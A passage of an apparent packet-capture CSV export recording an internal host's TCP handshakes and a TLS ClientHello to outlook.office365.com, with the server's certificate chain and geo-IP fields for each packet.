Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179544208 Ack=3179315478,bc24112907bbbc2411360d0c08004500002813aa400080064f5d0a98980b2863ccc2f9db01bbf91ec890bd808116501003fb18330000,\".$.)...$.6\n...E..(..@...O]\n...(c..............P....3..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5034, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20317, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544208, \"\"ack\"\": 3179315478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 6195, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:43.165555,54,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,S,,,Ether > IP > TCP,3,TCP S Seq=53880956 Ack=0,bc24112907bbbc2411360d0c080045000034af97400080068c040a98980b3462e822fa0801bb0336287c000000008002ffff88720000020405b40103030801010402,\".$.)...$.6\n...E..4..@.....\n...4b.\"\".....6(|.........r..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 44951, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35844, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53880956, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 34930, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:28:43.165582,55,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3746058327 Ack=53880957,bc2411360d0cbc24112907bb0800450000340000400040067b9c3462e8220a98980b01bbfa08df4850570336287d8012faf0bf4e0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.{.4b.\"\"\n........HPW.6(}.....N.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31644, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746058327, \"\"ack\"\": 53880957, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 48974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:28:43.165860,56,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53880957 Ack=3746058328,bc24112907bbbc2411360d0c080045000028af98400080068c0f0a98980b3462e822fa0801bb0336287ddf4850585010040095940000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6(}.HPXP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44952, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35855, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53880957, \"\"ack\"\": 3746058328, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 38292, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:43.166265,57,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53880957 Ack=3746058328,bc24112907bbbc2411360d0c0800450000f6af99400080068b400a98980b3462e822fa0801bb0336287ddf4850585018040041c8000016030300c9010000c503036a2f1d09d76016d400690f901402d47d00f06c294ef8ae750325d4f0c3ef15a1000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000760000001a00180000156f75746c6f6f6b2e6f66666963653336352e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@....@\n...4b.\"\".....6(}.HPXP...A..............j/.\t.`...i.....}..l)N..u.%........&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...v.........outlook.office365.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 246, \"\"id\"\": 44953, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35648, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53880957, \"\"ack\"\": 3746058328, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 16840, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 201, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=197 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:28:41  (1781472521) random_bytes=d76016d400690f901402d47d00f06c294ef8ae750325d4f0c3ef15a1 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=118 ext=[<TLS_Ext_ServerName  type=server_name len=26 servernameslen=24 servernames=[b'outlook.office365.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:43.166271,58,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746058328 Ack=53881163,bc2411360d0cbc24112907bb080045000028c88140004006b3263462e8220a98980b01bbfa08df4850580336294b5010003fbf420000,\".$.6\n..$.)....E..(..@.@..&4b.\"\"\n........HPX.6)KP..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51329, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45862, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746058328, \"\"ack\"\": 53881163, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:43.880333,59,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=3746058328 Ack=53881163,bc2411360d0cbc24112907bb080045000ff8c88240004006a3553462e8220a98980b01bbfa08df4850580336294b5018003fcf12000016030311070200006203036a2eba9b8aa257c5b3f91301bd07bb00c444bc4f19c3a106444f574e47524401204b0a0000de64455c07fb29bbf775c3f98dbf826cb180583644e2efe20967b06cc03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631333037313930325a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631333037303330305aa011180f32303236303632303036303330305a300d06092a864886f70d01010b0500038201010008c9074d0dd36abb07ad044c4001d5c82775d6ec9153a398f99e260962bf9f6c76ff626e32527f2b854b22ca6ebe904f3676c4d87624e849aa94d7f1f2d311534cd786873fbe797e74e4c93608adaef5617f6e837c793b3b99ab40faf0d6fefe1ef9bc7f14134e1d29a05415044b2fa31af6c27171daae73931d5cfe34b50bf9972aeb5b617a77097b90b177491977d3248564b3c45f885ad2f37ad4d0b23dce870815bb4a42f6ce020c480c1fd71a0af1f05f2c5a2323a291ebc72758f748ac41052352a550c76cc53de81757b02202799096c92182478f69dc25a4583c570852de3e80bb9e835c57c11f5825df1e155152b0022dac4ae9130de136772854940c00016903001861045cd0ec61ae20617bfd90d679a21a68104a8c7527e87ba5fa6961ad1418421d648c465714fdc42c075b854fba,\".$.6\n..$.)....E.....@.@..U4b.\"\"\n........HPX.6)KP..?............b..j.....W..........D.O....DOWNGRD. K\n...dE\\..)..u.....l..X6D...\tg.l.0........#.........h2...........\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260613071902Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260613070300Z....20260620060300Z0\n.\t*.H..\n.............M\n.j....L@...'u...S....&\tb..lv.bn2R.+.K\"\".n..O6v..v$.I.......SL...?.y~t..6....a.n.|y;;..@...........N.).T..K/....qq..s..\\.4....*.[azw\t{..wI.w.$.d.._.Z..z...=.....JB....H....\n.._,Z##....'X.H.A.#R.P.l.=..W.\"\".y...!.G.i.%.X<W.R.>....\\W..X%...QR..-.J..\n.6w(T....i...a.\\..a. a{...y..h.J.u'.{..ia...B.d.FW...,.[.O.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 51330, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41813, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746058328, \"\"ack\"\": 53881163, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 53010, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030311070200006203036a2eba9b8aa257c5b3f91301bd07bb00c444bc4f19c3a106444f574e47524401204b0a0000de64455c07fb29bbf775c3f98dbf826cb180583644e2efe20967b06cc03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589